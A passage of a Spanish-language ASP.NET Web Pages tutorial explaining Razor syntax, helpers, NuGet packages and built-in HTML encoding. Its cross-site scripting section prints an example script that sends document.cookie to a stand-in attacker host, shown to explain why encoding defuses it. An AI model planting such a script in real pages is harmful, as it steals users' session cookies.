<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_6da54e102c6d4d45adbe4c1b8c5ddef5" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><div></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Bienvenido @Usuario.Nombre, hoy es @DateTime.Now.Date.ToShortDateString()</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></div></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Aunque Razor está optimizado para entrelazar código .NET y código HTML de una forma fluida, en esencia no se diferencia mucho de la sintaxis VB.NET o C# a la que ya estamos acostumbrados. Es fácil habituarse a la nueva sintaxis a la hora de crear sentencias y bloques de código más complejos, como por ejemplo bloques multilínea, bloques <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">if</em> o bloques <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">foreach</em>:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_6622db1655e9468ebfbc1ba82fb82e82" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><!DOCTYPE html></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">@<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> System.Collections</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">@{ </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Hashtable models = <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">new</span> Hashtable();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> models.Add(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"ASP.NET Web Forms"</span>, <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"http://www.asp.net/web-forms"</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> models.Add(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"ASP.NET MVC"</span>, <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"http://www.asp.net/mvc"</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> models.Add(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"ASP.NET Web Pages"</span>, <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"http://www.asp.net/web-pages"</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><html lang=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"en"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <head></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <meta charset=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"utf-8"</span> /></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <title></title></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </head></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <body></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <h1>Modelos de programación en de ASP.NET:</h1> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <ul></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> @<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">foreach</span> (DictionaryEntry entry <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">in</span> models)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <li><a href=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"@entry.Value"</span>>@entry.Key</a></li></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> } </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </ul></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> @<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">if</span> (models.Count < <span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">3</span>)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <p>The list above <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">is</span> obsolete</p></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">else</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <p>The list above <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">is</span> up to date</p></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </body></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></html></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">El siguiente post proporciona una guía más exhaustiva de la sintaxis Razor comparándola con la sintaxis equivalente ASPX:<a href="http://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx" style="border: 0px; color: #0066dd; cursor: pointer; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">http://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx</a>.</span></div>
<h2 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 20px; line-height: 1.25; margin: 4px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Cinco razones por las que ASP.NET Web Pages puede ser la mejor opción para ti</span></h2>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">1 – Modelo de programación simple y rápido de aprender basado en páginas individuales</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET Web pages puede ser una buena opción para el que esté empezando a desarrollar aplicaciones con ASP.NET o quiera desarrollar una aplicación web sencilla en poco tiempo. Conceptualmente, el modelo de ejecución es similar a ASP clásico o PHP, en cuanto a que las aplicaciones se ejecutan secuencialmente de principio a fin, sin la complejidad de la jerarquía de eventos de Web Forms (Page_Load, Page_Render, etc.) pero disponiendo de toda la funcionalidad de ASP.NET. </span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">2 – Codificación HTML para prevenir ataques de cross-site scripting</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En Razor, el contenido emitido por los bloques de código de servidor ‘@’ están codificados (HTML encoded) para proteger contra ataques de cross-site scripting. Estos ataques, expuesto de manera enormemente simplificada, se basan en que un usuario malicioso consiga inyectar código HTML o script y posteriormente otros usuarios ejecuten ese código cuando acceden a la página como si fuera HTML/Script legítimo de la aplicación. El código se puede inyectar por ejemplo desde un campo de un formulario o mediante un parámetro por <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">querystring</em>, donde la aplicación espera que el usuario introduzca algún tipo de dato o parametrización. Un ejemplo típico es introducir un fragmento de código JavaScript oculto en un post de un foro o un comentario de un blog, de forma que ese script posteriormente se ejecute para todos los usuarios que accedan a dicho foro o dicho blog.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Sin codificación HTML, el usuario malicioso podría inyectar el siguiente fragmento de script en su post y el servidor posteriormente lo incluiría como parte del HTML de la página de forma que los navegadores lo interpretarían como una etiqueta válida de script que se ejecutaría sin intervención del usuario:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_3eb7141ae4c84132a380ea143180a9e4" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><script type=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"text/javascript"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> document.location=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">'http://hacker.org/evil.asp?cookie='</span> + document.cookie;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></script></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La codificación HTML convertiría el anterior fragmento de texto en la siguiente cadena, que el navegador web interpretaría como texto literal y no como una etiqueta HTML/Script válida, y que por tanto haría inofensivo el ataque:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_af4121eceab94542a29c0dd10d4bf5ed" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">&lt;script type=&#<span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">39</span>;text/javascript&#<span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">39</span>;&gt;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> document.location=&#<span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">39</span>;http:<span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">//hacker.org/evil.asp?cookie=&#39; + document.cookie;</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">&lt;/script&gt;</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Cualquier modelo de programación de ASP.NET soporta la codificación HTML y protege contra los ataques de cross-site scripting, pero en ASP.NET Web Pages se ha hecho de forma completamente integrada en el lenguaje y por tanto más sencillo.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">3 – Código mejor estructurado y reutilizable con la sintaxis @helper</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La sintáxis @helper permite crear métodos “helper” que encapsulen lógica de generación de HTML, proporcionando una mayor reutilización de código y facilitando también la lectura de dicho código.</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_f00f9d0454114466858c0083183fd273" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">@helper CalculateDiscountPercent(Decimal price, Decimal discount)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">if</span> (discount > <span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">0</span>)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">decimal</span> discountPercent = Math.Round(((discount / price) * 100M), <span class="cs__number" style="border: 0px; color: red; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">1</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span>@discountPercent %</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">else</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span>This product <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">is</span> not discounted!</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> } </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><h1>Price list:</h1> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><ul></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> @<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">foreach</span> (Product prod <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">in</span> products)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <li></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span>=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"product"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Product: @prod.Description</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span>=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"price"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Regular Price: @prod.Price</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span>=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"discountpercent"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Discount: @CalculateDiscountPercent(prod.Price, prod.Discount)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> } </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></ul></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">4 – Extensiones fácilmente accesibles desde el Package Manager</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET Web Pages introduce un concepto similar a los plug-ins de jQuery o WordPress, denominados simplemente paquetes (<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">packages</em>). Estos paquetes están disponibles desde un <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">feed</em> público en Internet llamado NuGet, y el Package Manager de WebMatrix simplifica la descarga e instalación de estos paquetes para integrarlos en nuestras aplicaciones.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984856.001(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En la mayoría de los casos estos paquetes están implementados como clases .NET con métodos <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">helper</em>, que podemos utilizar desde las páginas Razor. Por ejemplo, el paquete <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Twitter.Helper 1.0</em> permite entre otras cosas añadir un <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">widget</em> de Twitter a una página Razor, que muestre los últimos tweets de una búsqueda determinada:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
